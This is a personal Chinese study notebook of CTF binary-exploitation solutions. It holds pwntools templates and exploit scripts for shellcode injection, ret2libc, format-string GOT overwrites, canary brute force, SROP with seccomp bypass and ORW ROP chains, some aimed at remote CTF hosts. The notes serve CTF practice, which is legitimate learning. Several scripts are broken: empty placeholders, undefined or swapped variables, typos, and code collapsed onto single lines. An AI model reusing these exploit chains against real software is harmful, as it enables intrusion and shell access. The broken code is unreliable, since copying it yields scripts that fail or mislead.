只是私人学习记录的备份,不建议参考学习
模板
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
#context.update(arch='i386',os='linux',log_level='debug')
# context(os='linux', arch='amd64')
file_name = "./vuln"
e = ELF(file_name)
p= process(file_name)
libc = ELF('./')
#p = remote(')
def debug():
gdb.attach(p)
#gdb.attach(p,'b *0x\nc')
sd = lambda s : p.send(s)
sl = lambda s : p.sendline(s)
sa = lambda n,s : p.sendafter(n,s)
sla = lambda n,s : p.sendlineafter(n,s)
rc = lambda n : p.recv(n)
rl = lambda : p.recvline()
ru = lambda s : p.recvuntil(s)
ra = lambda : p.recvall()
it = lambda : p.interactive()
uu32 = lambda data : u32(data.ljust(4, b'\x00'))
uu64 = lambda data : u64(data.ljust(8, b'\x00'))
it()
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
#context.update(arch='i386',os='linux',log_level='debug')
# context(os='linux', arch='amd64')
file_name = "./vuln"
e = ELF(file_name)
p= process(file_name)
libc = ELF('./')
#p = remote(')
def debug():
gdb.attach(p)
#gdb.attach(p,'b *0x\nc')
sd = lambda s : p.send(s)
sl = lambda s : p.sendline(s)
sa = lambda n,s : p.sendafter(n,s)
sla = lambda n,s : p.sendlineafter(n,s)
rc = lambda n : p.recv(n)
rl = lambda : p.recvline()
ru = lambda s : p.recvuntil(s)
ra = lambda : p.recvall()
it = lambda : p.interactive()
uu32 = lambda data : u32(data.ljust(4, b'\x00'))
uu64 = lambda data : u64(data.ljust(8, b'\x00'))
def choice(idx):
sla('Enter your command:\n',str(idx))
def add(idx,size):
choice(1)
print("添加chunk%d" % idx)
def delete():
choice(2)
#print("删掉chunk%d" % idx)
def show(idx):
choice(3)
sa('please enter idx:\n',str(idx))
def edit(idx,content):
choice(4)
sa("please enter idx:\n",str(idx))
sd(content)
it()
小技巧
栈平衡
64位:返回地址末尾是8加ret
32位:
gdb.attach()
要加在send之前就能看到要发送的数据在栈上情况
send和sendline
scanf(),,gets()一定要sendline
fd指针规则
打开新文件时将赋予此文件的fd为从0开始没有用到的值,一般是3,这也是为什么orw是read第一个参数是3。
常见函数格式
open(文件名,0,0)
sendfile(1,3,0)系统调用号0x28,r10=0x100
mov rdi, 1
mov rsi, 3
push 0
mov rdx, rsp
mov r10, 0x100
push SYS_sendfile
pop rax
syscall
ret2shellcode
有nx保护的话有rwx段才可用,无nx直接栈上 asm(shellcraft.sh())不需要p32打包
1.invisable_flag(禁用了orw和execve)想用readfile
int __cdecl main(int argc, const char **argv, const char **envp)
{
void *addr; // [rsp+8h] [rbp-118h]
init();
addr = mmap(0x114514000LL, 0x1000uLL, 7, 34, -1, 0LL);
if ( addr == -1LL )
{
puts("ERROR");
return 1;
}
else
{
puts("show your magic again");
read(0, addr, 0x200uLL);
sandbox();
(addr)();
return 0;
}
}
exp
from pwn import *
p = process('./vuln')
#p = remote('')
elf = ELF('./vuln')
context.update(arch='amd64', os='linux',log_level='debug')
sh = shellcraft.openat(-100,"./flag",0)+shellcraft.sendfile(1,3,0,0x100)
sh = asm(sh)
p.send(sh)
p.interactive()
2.xyctf intermitted
题干
int __cdecl main(int argc, const char **argv, const char **envp)
{
unsigned __int64 i; // [rsp+0h] [rbp-120h]
void (*v5)(void); // [rsp+8h] [rbp-118h]
int buf[66]; // [rsp+10h] [rbp-110h] BYREF
unsigned __int64 v7; // [rsp+118h] [rbp-8h]
v7 = __readfsqword(0x28u);
init(argc, argv, envp);
v5 = mmap(0x114514000LL, 0x1000uLL, 7, 34, -1, 0LL);
if ( v5 == -1LL )
{
puts("ERROR");
return 1;
}
else
{
write(1, "show your magic: ", 0x11uLL);
read(0, buf, 0x100uLL);
for ( i = 0LL; i <= 2; ++i )
*(v5 + 4 * i) = buf[i]; #v5被buf【】类型转换大小为int,v5后每加一个1,代表地址加4
v5();
return 0;
}
}
exp两种
用rep movsb指令 这个指令可以让rsi寄存器的地址开始rcx的字节数据赋值给rdi地址所
指的区域
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
# context(os='linux', arch='amd64')
#context.terminal = ['byobu', 'sp', '-h']
file_name = "./vuln"
#url = ""
#port = 1111
elf = ELF(file_name)
p= process(file_name)
#p = gdb.debug(file_name,"b *main+273")
# p = remote(url,port)
sd = lambda s : p.send(s)
sl = lambda s : p.sendline(s)
sa = lambda n,s : p.sendafter(n,s)
sla = lambda n,s : p.sendlineafter(n,s)
rc = lambda n : p.recv(n)
rl = lambda : p.recvline()
ru = lambda s : p.recvuntil(s)
ra = lambda : p.recvall()
ia = lambda : p.interactive()
uu32 = lambda data : u32(data.ljust(4, b'\x00'))
uu64 = lambda data : u64(data.ljust(8, b'\x00'))
#gdb.attach(p)
ru(b"show your magic: ")
shellcode1 = b'\x52\x5F\xF3\xA4'
# nop指令不重要
#shellcode2 = b'\x90'*4
#shellcode3 = b'\x90'*4
shellcode = shellcode1+b"\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
shell=asm('''
push rdx
pop rdi
rep movsb byte ptr [rdi], byte ptr [rsi]
xor esi, esi
movabs rbx, 0x68732f2f6e69622f
push rsi
push rbx
push rsp
pop rdi
push 0x3b
pop rax
xor edx, edx
syscall
''' )
sd(shell)
ia()
###################################################
shell=asm('''
pop rbx
pop rax
ret
nop
pop rsi
pop rdx
syscall
''' )
shell=shell.ljust(0x10,b'\x00')
shell+=p64(0x114514010)
shell+=p64(0x114514014)+p64(0x100)
sd(shell)
sd(asm(shellcraft.sh()))
ia()
ret2libc
32位程序libc题型模板
from pwn import *
from LibcSearcher import *
#r = process("./")
r = remote('node5.buuoj.cn',)
#libc = ELF("./libc____")
e = ELF("./")
write_plt_addr = e.plt["write"]
write_got_addr = e.got["write"]
main_addr = e.symbols["main"]
offset = 0x + 4
payload = offset*'a' + p32(write_plt_addr) + p32(main_addr) + p32(1) + p32(write_got_addr) + p32(4)
#r.recvuntil()
r.sendline(payload)
write_addr = u32(r.recv(4))
print(hex(write_addr))
libc=LibcSearcher("read",read_addr)
base_addr = write_addr - libc.dump("write")
system_addr = base_addr + libc.dump("system")
binsh_addr = base_addr + libc.dump("str_bin_sh")
payload = offset*'a' + p32(system_addr) + p32(1) + p32(binsh_addr)
#r.recvuntil()
r.sendline(payload)
r.interactive()
64位模板
from pwn import *
from LibcSearcher import *
r = remote("node5.buuoj.cn",)
#r = process("./")
#gdb.attach(r)
context(log_level = 'debug')
e = ELF("./")
#libc = ELF("./libc-.so")
write_plt_addr = e.plt["write"]
write_got_addr = e.got["write"]
main_addr = e.symbols["main"]
rdi_addr = 0x
#si_r15_addr = 0x
offset = 0x + 8
payload = offset*b'a' + p64(rdi_addr) + p64(1) + p64(rsi_r15_addr) + p64(write_got_addr) + p64(0) + p64(write_plt_addr) + p64(main_addr)
r.recvuntil("")
r.sendline(payload)
write_addr = u64(r.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
#write_addr = u64(r.recv(8))
print(hex(write_addr)
libc=LibcSearcher("read",read_addr)
base_addr = write_addr - libc.dump("write")
system_addr = base_addr + libc.dump("system")
binsh_addr = base_addr + libc.dump("str_bin_sh")
#给了libc:libc找出来的只是函数偏移lian
#base = read_addr - libc.symbols["read"]
#sys = base + libc.symbols["system"]
#bin = base + next(libc.search(b'/bin/sh'))
payload2 = offset*'a' + p64(rdi_addr) + p64(binsh_addr) + p64(system_addr) + p64(1)
r.sendline(payload2)
r.interactive()
libc = LibcSearcher("函数名",地址)是用来获取libc版本的
strtol函数不能处理16进制数要转换为10进制
libc库中泄露puts函数,通过偏移算system函数在库中地址
算偏移libc中找system函数
泄露栈地址
1.hnctf pwn
题干
int vul()
{
char s[40]; // [esp+0h] [ebp-2Ch] BYREF
memset(s, 0, 0x20u);
read(0, s, 0x30u);
printf("Hello, %s\n", s);
read(0, s, 0x30u);
return printf("Hello, %s\n", s);
}
exp
from pwn import *
context(os='linux', arch='i386', log_level='debug')
#context.update(arch='i386',os='linux',log_level='debug')
#r = process("./pwn")
r = remote('hnctf.imxbt.cn',26176)
e = ELF("./pwn")
#gdb.attach(r)
sys=e.plt['system']
p=b'a'*0x1f+b'b'
r.send(p)
r.recvuntil("b")
stack=u32(r.recv(4))-0xd4+12
print(hex(stack))
p=b'b'*4+p32(sys)+b'a'*4+p32(stack-0x1c)+b'/bin/sh\x00'
p=p.ljust(0x2c,b'a')+p32(stack-0x2c)
r.send(p)
r.interactive()
格式化字符串
无printf(仅利用scanf的格式化字符串)
1.xyctf fmt
题干
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf1[32]; // [rsp+0h] [rbp-30h] BYREF
unsigned __int64 v5; // [rsp+28h] [rbp-8h]
v5 = __readfsqword(0x28u);
init();
printf("Welcome to xyctf, this is a gift: %p\n", &printf);
read(0, buf1, 0x20uLL);
__isoc99_scanf(buf1);
printf("show your magic");
return 0;
}
exp
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
filename = "./vuln"
io = process(filename)
e = ELF(filename)
libc = ELF('./libc-2.31.so')
ld=ELF('./ld-2.31.so')
io.recvuntil(b"gift: ")
printf_addr=int(io.recv(14),16)
base = printf_addr - libc.sym['printf']
#print(hex(printf_addr))
backdoor=0x4012c2
exit_hook_addr = base+0x1f4000+ld.sym["_rtld_global"]+3848
print(hex(ld.sym["_rtld_global"]))
payload=b'%8$s'
payload = payload.ljust(0x10,b'\x00') + p64(exit_hook_addr) #p64hook就是%8
io.recvuntil(b'\n')
#gdb.attach(io)
io.send(payload)
payload = p64(backdoor) #scanf的格式化字符串,直接写入第8个参数
#gdb.attach(i)
io.sendline(payload)
io.interactive()
修改内存类(含got表劫持)
-
pwn5
题干int __cdecl main(int a1) { unsigned int v1; // eax` int result; // eax` int fd; // [esp+0h] [ebp-84h]` char nptr[16]; // [esp+4h] [ebp-80h] BYREF` char buf[100]; // [esp+14h] [ebp-70h] BYREF` unsigned int v6; // [esp+78h] [ebp-Ch]` int *v7; // [esp+7Ch] [ebp-8h]` v7 = &a1; v6 = __readgsdword(0x14u); setvbuf(stdout, 0, 2, 0); v1 = time(0); srand(v1); fd = open("/dev/urandom", 0); read(fd, &dword_804C044, 4u); printf("your name:"); read(0, buf, 0x63u); printf("Hello,"); printf(buf); printf("your passwd:"); read(0, nptr, 0xFu); if ( atoi(nptr) == dword_804C044 )//atoi函数将字符串转换为整数 { puts("ok!!"); system("/bin/sh"); } else { puts("fail"); } result = 0; if ( __readgsdword(0x14u) != v6 ) sub_80493D0(); return result; }
exp
from pwn import * io = remote("node5.buuoj.cn",29170) target = 0x804C044 //将要覆盖的dword_804C044的地址 payload = p32(target) +b'%10$n'//修改后值为4 io.recvuntil("name:") io.sendline(payload) io.sendafter("passwd:",b'4') io.interactive()
-
echo(利用fmtstr_payload模块)
题干(将printf改为system)
exp
from pwn import * r=remote('node3.buuoj.cn',27843) elf=ELF('./echo') printf_got=elf.got['printf'] system_plt=elf.plt['system'] payload=fmtstr_payload(7,{printf_got:system_plt}) r.sendline(payload) r.sendline('/bin/sh') r.interactive()
fmtstr介绍(64位程序则要说明上下文context(arch='amd64',os='linux',word_size='64'))
fmtstr_payload是pwntools里面的一个工具,用来简化对格式化字符串漏洞的构造工作。
可以实现修改任意内存
fmtstr_payload(offset, {printf_got: system_addr})(偏移,{原地址:目的值})fmtstr_payload(offset, writes, numbwritten=0, write_size=‘byte’)
第一个参数表示格式化字符串的偏移;
第二个参数表示需要利用%n写入的数据,采用字典形式,我们要将printf的GOT数据改为system函数地址,就写成{printfGOT:
systemAddress};本题是将0804a048处改为0x2223322
第三个参数表示已经输出的字符个数,这里没有,为0,采用默认值即可;
第四个参数表示写入方式,是按字节(byte)、按双字节(short)还是按四字节(int),对应着hhn、hn和n,默认值是byte,即按hhn写。
fmtstr_payload函数返回的就是payload实际上我们常用的形式是fmtstr_payload(offset,{address1:value1})
-
r2t4(利用stack check faill 函数,开canary用)
题干(有后门函数)read(0, buf, 0x38uLL); printf(buf); unsigned __int64 backdoor() { unsigned __int64 v1; // [rsp+8h] [rbp-8h] v1 = __readfsqword(0x28u); system("cat flag"); return __readfsqword(0x28u) ^ v1; }
exp
from pwn import *
context(arch='amd64',os='linux',word_size='64')
backdoor = 0x0000000000400626
p = remote("node3.buuoj.cn",25583)
elf = ELF('./r2t4')
__stack_chk_fail = elf.got['__stack_chk_fail']
payload = fmtstr_payload(6, {__stack_chk_fail:backdoor})
#或者payload = "%64c%9$hn%1510c%10$hnAAA" + p64(__stack_chk_fail+2) +p64(__stack_chk_fail)
p.sendline(payload)
p.interactive()
泄露canary类
-
bjdctf_2020_babyrop2-fmt-leak canary
题干
1 unsigned __int64 gift() { char format[8]; // [rsp+0h] [rbp-10h] BYREF unsigned __int64 v2; // [rsp+8h] [rbp-8h] v2 = __readfsqword(0x28u); puts("I'll give u some gift to help u!"); __isoc99_scanf("%6s", format); printf(format); puts(byte_400A05); fflush(0LL); return __readfsqword(0x28u) ^ v2; } 2 unsigned __int64 vuln() { char buf[24]; // [rsp+0h] [rbp-20h] BYREF unsigned __int64 v2; // [rsp+18h] [rbp-8h] //canary在rbp-8 v2 = __readfsqword(0x28u); puts("Pull up your sword and tell me u story!"); read(0, buf, 0x64uLL); return __readfsqword(0x28u) ^ v2; }
exp
from pwn import * from LibcSearcher import * context.log_level = 'debug' #context(arch='amd64', os='linux', log_level='debug') p = remote('node5.buuoj.cn',29045) e = ELF('./bjdctf_2020_babyrop2') put_plt=e.plt['puts'] put_got=e.got['puts'] rdi=0x0400993 vuln=0x400887 p1 = '%7$p'# p.sendline(p1) p.recvuntil('0x') canary = int(p.recv(16), 16) #以16进制为底,转化为整数。canary长为16,加上\n payload = p64(canary) payload = payload.rjust(0x20,b'a')+b'a'*8+p64(rdi)+p64(put_got)+p64(put_plt)+p64(vuln) p.sendlineafter(b'story!\n',payload) put_addr=u64(p.recv(6).ljust(8,b'\x00')) libc=LibcSearcher('puts',put_addr) libcbase=put_addr-libc.dump("puts") system_addr=libcbase+libc.dump("system") binsh_addr=libcbase+libc.dump("str_bin_sh") payload = p64(canary) payload = payload.rjust(0x20,b'a')+b'a'*8+p64(rdi)+p64(binsh_addr)+p64(system_addr)+p64(vuln) p.sendlineafter('story!\n',payload) p.interactive()
非栈上格式化字符串
1.题干(hhn写入1字节,hn写入2字节)
int __cdecl main(int argc, const char **argv, const char **envp)
{
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
vuln();
if ( secret == 0xDEADBEEF12345678LL )
system("/bin/sh");
return 0;
}
int vuln()
{
int result; // eax
while ( 1 )
{
result = strcmp(chr, "bye");
if ( !result )
break;
gets(chr);
printf(chr);
}
return result;
}
exp
from pwn import *
context(arch='amd64',os='Linux',log_level='debug')
s = process("./pwn")
elf = ELF("./pwn")
secret = elf.sym['secret']
payload = b"%13$p"
s.sendline(payload)
stack = int(s.recv(14),16)
success(hex(stack))
offset1 = 13
offset2 = 43
offset3 = 42
addr = stack-8
gdb.attach(s,"b *0x4006e5\nc")
#为什么下面先addr+2因为只有这样%43处存的才是addr->secret而不是addr+2,下面的for循环才不会改错
#&ffff是什么意思
#&操作如果二进制相应的位都是1,则结果的相应位也是1。如果任一相应的位是0,则结果的相应位是0。
#0xffff是一个十六进制的表示,等同于十进制的65535,其二进制形式为1111 1111 1111 1111
#
payload = "%{}c%13$hn".format((addr+2)&0xffff).encode()
s.sendline(payload)
payload = "%{}c%43$hhn".format((secret >> 16)&0xff).encode()
s.sendline(payload)
payload = "%{}c%13$hn".format((addr)&0xffff).encode()
s.sendline(payload)
payload = "%{}c%43$hn".format(secret&0xffff).encode()
s.sendline(payload)
value = 0xDEADBEEF12345678
target_addr = secret
for i in range(4):
tmp_value = value & 0xffff
tmp_addr = target_addr + i*2
tmp_addr = tmp_addr & 0xff
payload = "%{}c%43$hhn".format((tmp_addr)&0xffff).encode()
s.sendline(payload)
payload = "%{}c%42$hn".format(tmp_value).encode()
s.sendline(payload)
value = value >> 16 # >>16 是将目标的二进制左移16位,即去掉2字节(左移是因为数据在栈上是倒着存的,相对于正常人类读的方向)
s.sendline(b"bye")
s.interactive()
canary爆破
1.canary
题干
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 v3; // rdx
pid_t pid; // [rsp+Ch] [rbp-4h]
setbuf(stdin, 0LL, envp);
setbuf(stdout, 0LL, v3);
while ( 1 )
{
pid = fork();
if ( pid < 0 )
break;
if ( pid <= 0 )
vuln();
else
wait(0LL);
}
return 0;
void __cdecl vuln()
{
char buf[256]; // [rsp+0h] [rbp-110h] BYREF
unsigned __int64 v1; // [rsp+108h] [rbp-8h]
v1 = __readfsqword(0x28u);
puts((__int64)"please input:");
read(0LL, buf, 512LL);
}
exp
from pwn import *
from LibcSearcher import *
import re
import time
from struct import pack
#context.log_level = 'debug'
r = process('./pwn')
#r = remote('121.196.193.233',49198)
pop_rax = 0x4493d7
canary = b'\x00'
for i in range(7):
for j in range(0, 256):
payload = b'a' * (0x108) + canary + p8(j)
r.send(payload)
time.sleep(0.01)
res = r.recv()
if ( b"stack smashing detected" not in res):
aprint(f'the {i} is {hex(j)}')
canary += p8(j)
break
print(f'Canary : {hex(u64(canary))}')
#gdb.attach(r)
p = b''
p = b'a'*0x108 + canary + b'a'*8
p += pack('<Q', 0x000000000040f23e) # pop rsi ; ret
p += pack('<Q', 0x00000000004c10e0) # @ .data
p += pack('<Q', 0x00000000004493d7) # pop rax ; ret
p += b'/bin//sh'
p += pack('<Q', 0x000000000047c4e5) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x000000000040f23e) # pop rsi ; ret
p += pack('<Q', 0x00000000004c10e8) # @ .data + 8
p += pack('<Q', 0x00000000004437a0) # xor rax, rax ; ret
p += pack('<Q', 0x000000000047c4e5) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x00000000004018c2) # pop rdi ; ret
p += pack('<Q', 0x00000000004c10e0) # @ .data
p += pack('<Q', 0x000000000040f23e) # pop rsi ; ret
p += pack('<Q', 0x00000000004c10e8) # @ .data + 8
p += pack('<Q', 0x00000000004017cf) # pop rdx ; ret
p += pack('<Q', 0x00000000004c10e8) # @ .data + 8
p += pack('<Q', 0x00000000004437a0) # xor rax, rax ; ret
p += p64(pop_rax) #因为全是rax++会超出read函数范围
p += p64(59)
p += pack('<Q', 0x00000000004012d3) # syscall
#pause()
r.sendline(p)
r.interactive()
srop
1.seccomp(orw)
题干
__int64 sub_40119E() //对一些系统调用进行禁用,在此函数中系统调用号代表的函数才可以使用
{
__int64 result; // rax
__int64 v1; // [rsp+8h] [rbp-8h]
v1 = seccomp_init(0LL);
if ( !v1 )
{
perror("seccomp_init");
exit(1);
}
if ( (int)seccomp_rule_add(v1, 2147418112LL, 1LL, 0LL) < 0 )//write
{
perror("seccomp_rule_add");
exit(1);
}
if ( (int)seccomp_rule_add(v1, 2147418112LL, 0LL, 0LL) < 0 )//read
{
perror("seccomp_rule_add");
exit(1);
}
if ( (int)seccomp_rule_add(v1, 2147418112LL, 2LL, 0LL) < 0 )//exit
{
perror("seccomp_rule_add");
exit(1);
}
if ( (int)seccomp_rule_add(v1, 2147418112LL, 90LL, 0LL) < 0 )//chmod
{
perror("seccomp_rule_add");
exit(1);
}
if ( (int)seccomp_rule_add(v1, 2147418112LL, 231LL, 0LL) < 0 )//open
{
perror("seccomp_rule_add");
exit(1);
}
if ( (int)seccomp_rule_add(v1, 2147418112LL, 15LL, 0LL) < 0 )//sig_ret
{
perror("seccomp_rule_add");
exit(1);
}
result = seccomp_load(v1);
if ( (int)result < 0 )
{
perror("seccomp_load");
exit(1);
}
return result;
}
__int64 sub_40136E()
{
char v1[10]; // [rsp+6h] [rbp-2Ah] BYREF
_QWORD v2[4]; // [rsp+10h] [rbp-20h] BYREF
v2[0] = 0x6F6E6B2075206F44LL;
v2[1] = 0x6920746168772077LL;
v2[2] = 0xA3F444955532073LL;
strcpy(v1, "easyhack\n");
syscall(1LL, 1LL, v1, 9LL);
syscall(0LL, 0LL, &bss, 4096LL);
syscall(1LL, 1LL, v2, 24LL);
syscall(0LL, 0LL, v1, 58LL);
return 0LL;
}
exp
mov_rax_0xf这些代码在哪里找到的?
左侧这些函数就包含下列指令,是hints.
from pwn import*
context(arch='amd64',os='Linux',log_level='debug')
p=process('./chall')
elf = ELF('./chall')
rop = ROP(elf)
#gadgets
mov_rax_0xf = 0x401193 #
leave_ret = 0x40136c
ret_addr = 0x401016
syscall_addr = rop.find_gadget(['syscall']).address #only syscall在401186函数中找到也可即syscall_addr = 0x40118A
#.text:0000000000401186 sub_401186 proc near
#.text:0000000000401186 ; __unwind {
#.text:0000000000401187 48 89 E5 mov rbp, rsp
#.text:000000000040118A 0F 05 syscall #就是syscall_addr ; LINUX -
#.text:000000000040118C 90 nop
#.text:000000000040118D 5D pop rbp
#.text:000000000040118E C3 retn
syscall_ret_addr = 0x401186 #full function见上注释
#rsi
data_addr = 0x404000 #用来保存文件名进行open函数
bss_addr = 0x404060
#init frame rsp间的偏移为280 264 264 264,因为SigreturnFrame大小为0x100=256见上图
frame_read_1 = SigreturnFrame()
frame_read_1.rax = 0
frame_read_1.rdi = 0
frame_read_1.rsi = data_addr
frame_read_1.rdx = 0x5a
frame_read_1.rsp = 0x404178 #指向payload中邻接的mov_rax_0xf在bss段的地址
frame_read_1.rip = syscall_ret_addr #系统调用read函数
frame_chmod = SigreturnFrame()
frame_chmod.rax = 0x5a
frame_chmod.rdi = data_addr
frame_chmod.rsi = 7
frame_chmod.rsp = 0x404280 #指向payload中邻接的mov_rax_0xf在bss段的地址
frame_chmod.rip = syscall_ret_addr
frame_open = SigreturnFrame()
frame_open.rax = 0x02
frame_open.rdi = data_addr
frame_open.rsi = constants.O_RDONLY
frame_open.rdx = 0
frame_open.rsp = 0x404388 # 指向payload中邻接的mov_rax_0xf在bss段的地址
#flag文件是没有read权限的,srop要先调用chmod改flag文件权限,再orw输出flag文件内容
#srop的frame直接写到bss段
#payload2的作用是栈迁移到bss段启动srop
frame_open.rip = syscall_ret_addr
#read flag
frame_read_2 = SigreturnFrame()
frame_read_2.rax = 0
frame_read_2.rdi = 3
frame_read_2.rsi = 0x405000
frame_read_2.rdx = 0x30
frame_read_2.rsp = 0x404490 #指向payload中邻接的mov_rax_0xf在bss段的地址
frame_read_2.rip = syscall_ret_addr
frame_write = SigreturnFrame()
frame_write.rax = 0x01
frame_write.rdi = 1
frame_write.rsi = 0x405000
frame_write.rdx = 0x30
frame_write.rip = syscall_addr
#bss
payload1 = p64(ret_addr) + p64(ret_addr)
payload1 += p64(mov_rax_0xf) + p64(syscall_addr)
payload1 += bytes(frame_read_1)
payload1 += p64(mov_rax_0xf) + p64(syscall_addr)
payload1 += bytes(frame_chmod)
payload1 += p64(mov_rax_0xf) + p64(syscall_addr)
payload1 += bytes(frame_open)
payload1 += p64(mov_rax_0xf) + p64(syscall_addr)
payload1 += bytes(frame_read_2)
payload1 += p64(mov_rax_0xf) + p64(syscall_addr)
payload1 += bytes(frame_write)
p.recvuntil(b'easyhack\n')
p.send(payload1)
#Stack Migration
payload2 = b'a' * 42 + p64(bss_addr) + p64(leave_ret)
p.recvuntil(b"Do u know what is SUID?\n")
p.send(payload2)
p.send(b'./flag\x00'.ljust(0x5a,b'\x00')) #一定\x00截断
p.interactive()
2.题干
xyctf simple_srop
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[32]; // [rsp+0h] [rbp-20h] BYREF
init(argc, argv, envp);
read(0, buf, 0x200uLL);
return 0;
}
exp
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
# context(os='linux', arch='amd64')
# context.terminal = ['byobu', 'sp', '-h']
file_name = "./vuln"
e = ELF(file_name)
p= process(file_name)
#libc = ELF('')
#p = gdb.debug(file_name,"b *Menu+113")
#p = remote('',)
sd = lambda s : p.send(s)
sl = lambda s : p.sendline(s)
sa = lambda n,s : p.sendafter(n,s)
sla = lambda n,s : p.sendlineafter(n,s)
rc = lambda n : p.recv(n)
rl = lambda : p.recvline()
ru = lambda s : p.recvuntil(s)
ra = lambda : p.recvall()
it = lambda : p.interactive()
u32 = lambda data : u32(data.ljust(4, b'\x00'))
u64 = lambda data : u64(data.ljust(8, b'\x00'))
syscall_ret=0x40129d
rax_0xf=0x401296
bss= 0x4040d0
frame_read_1 = SigreturnFrame()
frame_read_1.rax = 0
frame_read_1.rdi = 0
frame_read_1.rsi = bss
frame_read_1.rdx = 0x1000
frame_read_1.rsp = 0x4040d8 #
frame_read_1.rip = syscall_ret
frame_open = SigreturnFrame()
frame_open.rax = 0x02
frame_open.rdi = bss
frame_open.rsi = 0
frame_open.rdx = 0
frame_open.rsp = 0x4041d8 #加了0x100是因为一个frame大小就是0x100
frame_open.rip = syscall_ret
frame_rf = SigreturnFrame()
frame_rf.rax = 0x28
frame_rf.rdi = 1
frame_rf.rsi = 3
frame_rf.rdx = 0
frame_rf.rip = syscall_ret
frame_rf.r10 = 0x100
pa=b'a'*0x28+p64(rax_0xf)+bytes(frame_read_1)
sd(pa)
pa=b'flag\x00\x00\x00\x00'+p64(rax_0xf)+bytes(frame_open)
#pa=pa.ljust(0x200,b'\x00')
pa+=p64(rax_0xf)+bytes(frame_rf)
sd(pa)
it()
orw
1.maimai计数器(attachment)保护全开(pie绕过(即泄露libc),orw,)
题干
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
int v3; // [rsp+0h] [rbp-10h] BYREF
int v4; // [rsp+4h] [rbp-Ch]
unsigned __int64 v5; // [rsp+8h] [rbp-8h]
v5 = __readfsqword(0x28u);
init();
v4 = 0;
while ( 1 )
{
while ( 1 )
{
menu();
__isoc99_scanf("%d", &v3);
if ( v3 != 1 )
break;
Calculate();
v4 = 1;
}
if ( v3 == 2 && v4 )
{
Compare();
}
else
{
if ( v3 != 2 || v4 )
{
puts("Invalid option.");
exit(0);
}
puts("Calculate your rating first.");
}
}
}
细节
泄露libc地址在%33
stack(来放flag)恰好要是最后一次发payload的位置,偏移=5e0-650, stack=ebp+偏移=0x70
exp
from pwn import *
context.update(arch='amd64', os='linux')
context.log_level = 'debug'
p = process('./pwn')
#p = remote('node.nkctf.yuzhian.com.cn', 30995)
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
p.recvuntil(b'Select a option:\n')
p.sendline(b'1')
p.recvuntil(b'Input chart level and rank.')
for i in range(50):
p.sendline(b'16.0')
p.sendline(b'SSS+')
#leak canary&libc
p.sendlineafter("Select a option:", '2')
p.sendlineafter("Input your nickname.", "%33$p")
#为什么libc在33位:ji
p.recvuntil("0x")
libc_address = int(p.recv(12), 16) - libc.sym['__libc_start_main'] - 128
p.sendlineafter("play maimai?", "AAAA")
p.sendlineafter("Select a option:", '2')
p.sendlineafter("Input your nickname.", "%7$p")
p.recvuntil("0x")
canary = int(p.recv(16), 16)
print(hex(canary))
print(hex(libc_address))
pop_rdi = libc_address+ 0x2a3e5#这些偏移均是在libc库找到而不是pwn文件
pop_rsi = libc_address + 0x2be51
pop_rdx_r12 = libc_address + 0x11f2e7
sys=libc_address+libc.sym['system']
bin = libc_address+next(libc.search(b'/bin/sh'))
ret = libc_address +0x29139#因为栈没平衡末尾是8,偏移也是在lbc库中找不用pwn文件的,因为泄露了libc基地址但没算pie pwn文件会地址错误,而用libc中的则不用算pie
p.send(b'n')
p.sendline(b"2")
p.sendlineafter("Input your nickname.", "%8$p")
p.recvuntil("0x")
ebp = int(p.recv(12), 16)
stackofs=0x7ffde64c14d0-0x7ffde64c1540#0x70
flg=ebp+stackofs#见图二
print("ebp:"+hex(ebp))
print("stack:"+hex(flg))
#想用system但是cat flag被禁用只能orw了,但open也被禁用用openat代替。openat :当第二个参数为绝对地址时第一个参数无效。
#payload = b"A"*0x28 + p64(canary) +b'a'*8+p64(ret) +p64(pop_rdi) + p64(bin) + p64(sys)
#p.sendafter("play maimai?\n", payload)
read = libc_address + libc.sym['read']
openat = libc_address + libc.sym['openat']
puts = libc_address + libc.sym['puts']
payload=b'/flag\0\0\0'+b'a'*32+p64(canary)+p64(0)+p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(flg+40+0x50)+p64(pop_rdx_r12)+p64(0x1000)*2+p64(read) #\0\0\0为了占满8字节,p64(flg+40+0x50)恰好将read地址下在这段payload之后
p.send(payload)
pa=p64(pop_rsi)+p64(flg)+p64(pop_rdx_r12)+p64(0)*2+p64(openat)
pa+=p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(flg)+p64(pop_rdx_r12)+p64(0x40)*2+p64(read)
pa+=p64(pop_rdi)+p64(flg)+p64(puts)
p.send(pa)
p.interactive()
自动攻击
-
rop
题干int overflow() { char v1[12]; // [esp+Ch] [ebp-Ch] BYREF return gets(v1); }
exp(from struct import pack要引入)
利用ROPgadget --binary './' --ropchain,会生成一串rop可以用来那拿shell
struct.pack()
函数用于根据指定的格式将值打包到一个字节对象中。它通常用于二进制数据处理、网络通信以及处理二进制文件格式等任务。以下是
struct.pack()
函数的简要说明:- 函数的第一个参数是格式字符串,它指定了数据的格式。该格式字符串定义了值应该如何被打包。
- 后续的参数是要打包到字节对象中的值。
- 函数返回一个包含按照指定格式打包的二进制数据的字节对象。
以下是一个简单的示例:
pythonCopy codefrom struct import pack # 将整数和浮点数打包成二进制格式 packed_data = pack('i f', 42, 3.14) print(packed_data) # 输出: b'*\x00\x00\x00\xcd\xcc@'
在这个示例中:
'i f'
是格式字符串,其中'i'
表示一个4字节的整数,'f'
表示一个4字节的浮点数。42
是要打包的整数值。3.14
是要打包的浮点数值。
结果中的
packed_data
是一个包含按照指定格式打包的二进制数据的字节对象。struct.pack()
在需要准备要写入文件、发送到网络或者与低级二进制协议交互时特别有用。pack('<I', 0x0806ecda)
